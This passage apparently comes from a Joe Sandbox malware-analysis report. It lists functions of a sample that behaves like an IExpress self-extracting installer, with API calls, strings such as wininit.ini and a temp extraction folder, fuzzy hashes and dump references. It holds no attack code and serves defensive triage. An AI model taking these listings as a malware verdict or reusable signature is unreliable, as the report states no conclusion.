Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Char$Next$Upper$ByteFileLeadModuleNamePrev
String ID:
API String ID: 975904313-0
Opcode ID: aa7ba7297077793f7d626753686711e9c4ffdaff21383c5eed26811cbffd48fb
Instruction ID: 6404c0ad97033817bee79dc94945a3186b94c190de734708f1aef1e7a75cedaf
Opcode Fuzzy Hash: aa7ba7297077793f7d626753686711e9c4ffdaff21383c5eed26811cbffd48fb
Instruction Fuzzy Hash: 68718353A0D6D5C5FF62BF2598913B8EBB0BB49B90F8841B0CB5E067C6DF2CA4458720

Function 00007FF749E122F0 Relevance: 12.2, APIs: 8, Instructions: 162memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00007FF749E1251A

Part of subcall function 00007FF749E12D34: CharUpperA.USER32 ref: 00007FF749E12D7A
Part of subcall function 00007FF749E12D34: CharNextA.USER32 ref: 00007FF749E12D8C
Part of subcall function 00007FF749E12D34: CharNextA.USER32 ref: 00007FF749E12D9B
Part of subcall function 00007FF749E12D34: GetWindowsDirectoryA.KERNEL32 ref: 00007FF749E12DC4

GetFileVersionInfoSizeA.VERSION ref: 00007FF749E12367
GlobalAlloc.KERNEL32 ref: 00007FF749E12386
GlobalLock.KERNEL32 ref: 00007FF749E123A1
GetFileVersionInfoA.VERSION ref: 00007FF749E123C9
VerQueryValueA.VERSION ref: 00007FF749E123EF
GlobalUnlock.KERNEL32 ref: 00007FF749E12499
GlobalUnlock.KERNEL32 ref: 00007FF749E124B4

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Global$Char$FileInfoNextUnlockVersion$AllocDirectoryFreeLockQuerySizeUpperValueWindows
String ID:
API String ID: 2920131565-0
Opcode ID: e2c6928dca72d3c9787df6f30925460e70e82d21755a383799fca88f808043d4
Instruction ID: 57a344f935da7e4d9abca56884f471b81d27b64a893438377a600bfc28cd5aa2
Opcode Fuzzy Hash: e2c6928dca72d3c9787df6f30925460e70e82d21755a383799fca88f808043d4
Instruction Fuzzy Hash: 53617B73A086A2CAEB10BF15A8855BCB7B1FB08794F948471DE0D53789DF38E881C724

Function 00007FF749E13C8C Relevance: 10.6, APIs: 7, Instructions: 100COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF749E1375F), ref: 00007FF749E13CBF
GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF749E1375F), ref: 00007FF749E13CE0
GetDC.USER32 ref: 00007FF749E13CFD
GetDeviceCaps.GDI32 ref: 00007FF749E13D14
GetDeviceCaps.GDI32 ref: 00007FF749E13D2B
ReleaseDC.USER32 ref: 00007FF749E13D44
SetWindowPos.USER32 ref: 00007FF749E13DB6

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: 6bf25506a061de764c46ff11c3dabc26361253386e945ff23246536f7576ff98
Instruction ID: 500b992d8261f4bbe4ac818321967915c2d8c3ad297bf3bc2ef3e6e966148395
Opcode Fuzzy Hash: 6bf25506a061de764c46ff11c3dabc26361253386e945ff23246536f7576ff98
Instruction Fuzzy Hash: 2A318E33B18611CAE710AF65E845ABDBBB1F748B99F995170CE0A53B08CF38E445CB10

Function 00007FF749E14598 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 71memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15168
Part of subcall function 00007FF749E15140: SizeofResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15179
Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E1519F
Part of subcall function 00007FF749E15140: LoadResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151B0
Part of subcall function 00007FF749E15140: LockResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151BF
Part of subcall function 00007FF749E15140: memcpy_s.MSVCRT ref: 00007FF749E151DE
Part of subcall function 00007FF749E15140: FreeResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151ED

LocalAlloc.KERNEL32(?,?,?,?,?,00007FF749E14735), ref: 00007FF749E145B9
LocalFree.KERNEL32 ref: 00007FF749E1463C

Part of subcall function 00007FF749E161E8: LoadStringA.USER32 ref: 00007FF749E16278
Part of subcall function 00007FF749E161E8: MessageBoxA.USER32 ref: 00007FF749E162B8

Part of subcall function 00007FF749E16590: GetLastError.KERNEL32 ref: 00007FF749E16594

lstrcmpA.KERNEL32(?,?,?,?,?,00007FF749E14735), ref: 00007FF749E14662
LocalFree.KERNEL32(?,?,?,?,?,00007FF749E14735), ref: 00007FF749E146C3

Part of subcall function 00007FF749E164B0: FindResourceA.KERNEL32 ref: 00007FF749E164DA
Part of subcall function 00007FF749E164B0: LoadResource.KERNEL32 ref: 00007FF749E164F1
Part of subcall function 00007FF749E164B0: DialogBoxIndirectParamA.USER32 ref: 00007FF749E16527
Part of subcall function 00007FF749E164B0: FreeResource.KERNEL32 ref: 00007FF749E16539

LocalFree.KERNEL32 ref: 00007FF749E1469C

Strings

<None>, xrefs: 00007FF749E1465B
LICENSE, xrefs: 00007FF749E145A1, 00007FF749E14604

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: d8f725790712cab8ff229354588275550b10545e7930818d23b6b2a348e3f118
Instruction ID: 90f9b3b37384c366327c00b524f7808941663b09a84687ad535e330859734bae
Opcode Fuzzy Hash: d8f725790712cab8ff229354588275550b10545e7930818d23b6b2a348e3f118
Instruction Fuzzy Hash: B3314C73A1D622C6F721BF20E4967B9B6B0FB88745F8045B5CA0E466A5EF7CE4408620

Function 00007FF749E17BB8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E14FA3), ref: 00007FF749E17BEF
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E14FA3), ref: 00007FF749E17BFE
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E14FA3), ref: 00007FF749E17C4E
FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E14FA3), ref: 00007FF749E17C82
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E14FA3), ref: 00007FF749E17C9B

Strings

UPDFILE%lu, xrefs: 00007FF749E17C5F

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$Free$FindLoadLock
String ID: UPDFILE%lu
API String ID: 3629466761-2329316264
Opcode ID: d41cb9711b44c5778f8d685044e0478faac0a7e9c0355c6fd43fe1abdcbe4688
Instruction ID: 5221586503379c5f8e1f5ed315db5386917f6b8bb8009e54588415a7f86a819b
Opcode Fuzzy Hash: d41cb9711b44c5778f8d685044e0478faac0a7e9c0355c6fd43fe1abdcbe4688
Instruction Fuzzy Hash: D5316D33A0CA52C6E710BF25A4821B9FAB1FB89F90F954271EA5E07395CF3DE444C610

Function 00007FF749E15140 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15168
SizeofResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15179
FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E1519F
LoadResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151B0
LockResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151BF
memcpy_s.MSVCRT ref: 00007FF749E151DE
FreeResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151ED

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID:
API String ID: 3370778649-0
Opcode ID: eaca51f8d58b0d414e22daa5353a49b1fbb1179a865c63ac3ffb404108bcea55
Instruction ID: b8a721f05b8202c4ccc769ba724812ebc640938eb53e110c275c9c507aab5511
Opcode Fuzzy Hash: eaca51f8d58b0d414e22daa5353a49b1fbb1179a865c63ac3ffb404108bcea55
Instruction Fuzzy Hash: 6111F722708B61C6E7147F62B485079EAA1BB4EFC1B8894B8DE0E43758DE3CD4458610

Function 00007FF749E13044 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00007FF749E13071
WritePrivateProfileStringA.KERNEL32 ref: 00007FF749E130A0
_lopen.KERNEL32 ref: 00007FF749E130B4
_llseek.KERNEL32 ref: 00007FF749E130CF
_lclose.KERNEL32 ref: 00007FF749E130DF

Strings

wininit.ini, xrefs: 00007FF749E13081

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 9400fdb6d7a44d6df7f18705ef269f017eb9ad4388b642ce147a901e5ae05de9
Instruction ID: 4c5ef05cee38ff24e3bcd760aa32c485bba837d2acf7851039d6fd3674c974c7
Opcode Fuzzy Hash: 9400fdb6d7a44d6df7f18705ef269f017eb9ad4388b642ce147a901e5ae05de9
Instruction Fuzzy Hash: 26112C33708A91C7E724AF21F4962AAB6B1FB8D714F858271DA4E43668DF3CD509CA10

Function 00007FF749E1669E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF749E166EC
SetWindowTextA.USER32 ref: 00007FF749E1670D
SetDlgItemTextA.USER32 ref: 00007FF749E16728
SetForegroundWindow.USER32 ref: 00007FF749E16737
EndDialog.USER32 ref: 00007FF749E1674A

Strings

1st, xrefs: 00007FF749E16703

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Window$Text$DesktopDialogForegroundItem
String ID: 1st
API String ID: 761066910-2308098469
Opcode ID: d27efb2bfb772949979602fae28f15f48041aa30681c92464f837cb170850190
Instruction ID: a6985c315eef5b08d2bad2cb1471598c48d80fc325427221dd5b46b979d56814
Opcode Fuzzy Hash: d27efb2bfb772949979602fae28f15f48041aa30681c92464f837cb170850190
Instruction Fuzzy Hash: FE110776A0C622C7FA557F25B48A2B4EA71FB4AF41FD490B1C90E06394DF3CE884C620

Function 00007FF749E14E34 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15168
Part of subcall function 00007FF749E15140: SizeofResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15179
Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E1519F
Part of subcall function 00007FF749E15140: LoadResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151B0
Part of subcall function 00007FF749E15140: LockResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151BF
Part of subcall function 00007FF749E15140: memcpy_s.MSVCRT ref: 00007FF749E151DE
Part of subcall function 00007FF749E15140: FreeResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151ED

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF749E1498A), ref: 00007FF749E14E5D
LocalFree.KERNEL32(?,?,?,?,00000000,00007FF749E1498A), ref: 00007FF749E14EF9

Part of subcall function 00007FF749E161E8: LoadStringA.USER32 ref: 00007FF749E16278
Part of subcall function 00007FF749E161E8: MessageBoxA.USER32 ref: 00007FF749E162B8

Strings

<None>, xrefs: 00007FF749E14EBD
FINISHMSG, xrefs: 00007FF749E14E41, 00007FF749E14E94
@, xrefs: 00007FF749E14EDF

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$@$FINISHMSG
API String ID: 3507850446-4126004490
Opcode ID: 46f6a34e6422b476f92bef806b9afb6e738230eab6fd6dc1f836e9041f14e154
Instruction ID: a3e4b533ce46752d5898d0c7387f6eb540826e5b6eea7d06ff627ad760192dd1
Opcode Fuzzy Hash: 46f6a34e6422b476f92bef806b9afb6e738230eab6fd6dc1f836e9041f14e154
Instruction Fuzzy Hash: 61117F73A0C662C2E720BF20B4927BAA660FB89784F845174DA4E46B85DF3CD1008A10

Function 00007FF749E165B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF749E16630
LoadLibraryExA.KERNEL32 ref: 00007FF749E16650
LoadLibraryA.KERNEL32 ref: 00007FF749E16665

Strings

advpack.dll, xrefs: 00007FF749E16613, 00007FF749E1665E
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E165D6

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-1955609190
Opcode ID: 963a3f96620efcd57751c6ee7ade2dcdaa22df72e3894113d12d29ba1fba980a
Instruction ID: a7ff547e73f283dab5e1907bac4ec1eabc46d7ca51ba7704f77b484620cb3de7
Opcode Fuzzy Hash: 963a3f96620efcd57751c6ee7ade2dcdaa22df72e3894113d12d29ba1fba980a
Instruction Fuzzy Hash: 59113E32A1C692D6EE61BF10E4922F8B7B0FB99B44FC442B2C64D02695DF3DE609C710

Function 00007FF749E136EE Relevance: 7.6, APIs: 5, Instructions: 52windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF749E1373A
GetDesktopWindow.USER32 ref: 00007FF749E13748
LoadStringA.USER32 ref: 00007FF749E13778
SetDlgItemTextA.USER32 ref: 00007FF749E13791
MessageBeep.USER32 ref: 00007FF749E137A0

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 65e6fbf51a895507969a40468058746c97c4b6aea9fe2f97e498a7505ce86659
Instruction ID: 198df4b14d30cf342b9d5bc1496b3705c068f54dbb40599871cb7a360a29ca64
Opcode Fuzzy Hash: 65e6fbf51a895507969a40468058746c97c4b6aea9fe2f97e498a7505ce86659
Instruction Fuzzy Hash: BF216372A0C696C6EA207F21F4963BAE670FB89B44F845170DA8E06799DF3CD145C760

Function 00007FF749E13DF0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 230windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF749E13E3B
MessageBeep.USER32 ref: 00007FF749E14085
MessageBoxA.USER32 ref: 00007FF749E140BE

Strings

1st, xrefs: 00007FF749E140AF, 00007FF749E140F0

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 1st
API String ID: 2519184315-2308098469
Opcode ID: fb4eab478caa6204bae9f5f6a9d13087627c7f1f2c010f1b9df14a39c7a39b7c
Instruction ID: 2228db9b463df07a3696dfc50c18e95154c22eac913ab91c67ba1a6724fe8908
Opcode Fuzzy Hash: fb4eab478caa6204bae9f5f6a9d13087627c7f1f2c010f1b9df14a39c7a39b7c
Instruction Fuzzy Hash: 4FA1BF73A1C262C6FB64BF15D8C22B9B6B0FB48790F9111B5E94E83394DE3DE8448720

Function 00007FF749E16E4F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF749E16EFB
WriteFile.KERNEL32 ref: 00007FF749E16F32
CloseHandle.KERNEL32 ref: 00007FF749E16F57

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF749E16E82

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-388467436
Opcode ID: 0e03046e849406695a98d42d2011d6eb0c047299338339c8bc95bd8c917e975f
Instruction ID: aa189ced02e02b8fd860974caa3aa12cebd2ec1143dd5d55a5242a084a76a8e0
Opcode Fuzzy Hash: 0e03046e849406695a98d42d2011d6eb0c047299338339c8bc95bd8c917e975f
Instruction Fuzzy Hash: 8C31596360C691C6EB21AF10E4817AAB7B0FB89B94F844275DA9D47795CF7CD908CB20

Function 00007FF749E17E28 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

#20.CABINET ref: 00007FF749E17EA1
#21.CABINET ref: 00007FF749E17EE0
#23.CABINET ref: 00007FF749E17F1A

Strings

*MEMCAB, xrefs: 00007FF749E17EBA

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID:
String ID: *MEMCAB
API String ID: 0-3211172518
Opcode ID: d326e7aa94b67cf4d4d3d0379e3d5024a1c04b5e8baa646fa99e55709f362e69
Instruction ID: 8bce884e9cd7a465279e0433453731dfd6f5fb64c40058ca87563faea9f34e48
Opcode Fuzzy Hash: d326e7aa94b67cf4d4d3d0379e3d5024a1c04b5e8baa646fa99e55709f362e69
Instruction Fuzzy Hash: 90313B32A1DB52C5EA40BF20E4863BAB3B0FB48790F914275D96D42790DF3DE485C760

Function 00007FF749E12F8C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00000000,00007FF749E1358D), ref: 00007FF749E12FBD
RegQueryInfoKeyA.ADVAPI32 ref: 00007FF749E13007
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00000000,00007FF749E1358D), ref: 00007FF749E13025

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00007FF749E12FAF

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CloseInfoOpenQuery
String ID: System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2142960691-1430103811
Opcode ID: 47349caa1c797a3ce88789d8bb3edd23980ba6ecef902e538d3c134507dba548
Instruction ID: b425315981bd54a7b6470cb2d81ad37eb503e3993af18daf0f20e183abf5accd
Opcode Fuzzy Hash: 47349caa1c797a3ce88789d8bb3edd23980ba6ecef902e538d3c134507dba548
Instruction Fuzzy Hash: 12111932A18B90C7E7109F25F48052AFBF4F789740B945229EB8943B28CF38D055CF00

Function 00007FF749E113E0 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF749E11453
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF749E11472
RtlVirtualUnwind.KERNEL32 ref: 00007FF749E114BF
__raise_securityfailure.LIBCMT ref: 00007FF749E115A4

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 4f65c121b0890e46cb18bda7ebc0f2de684189390e2c9d24e6a7faa72a08dfdf
Instruction ID: 15b658f76c850216f58e60db46e164ae12e168d4bbd8693ec3c1583fb89eb9cc
Opcode Fuzzy Hash: 4f65c121b0890e46cb18bda7ebc0f2de684189390e2c9d24e6a7faa72a08dfdf
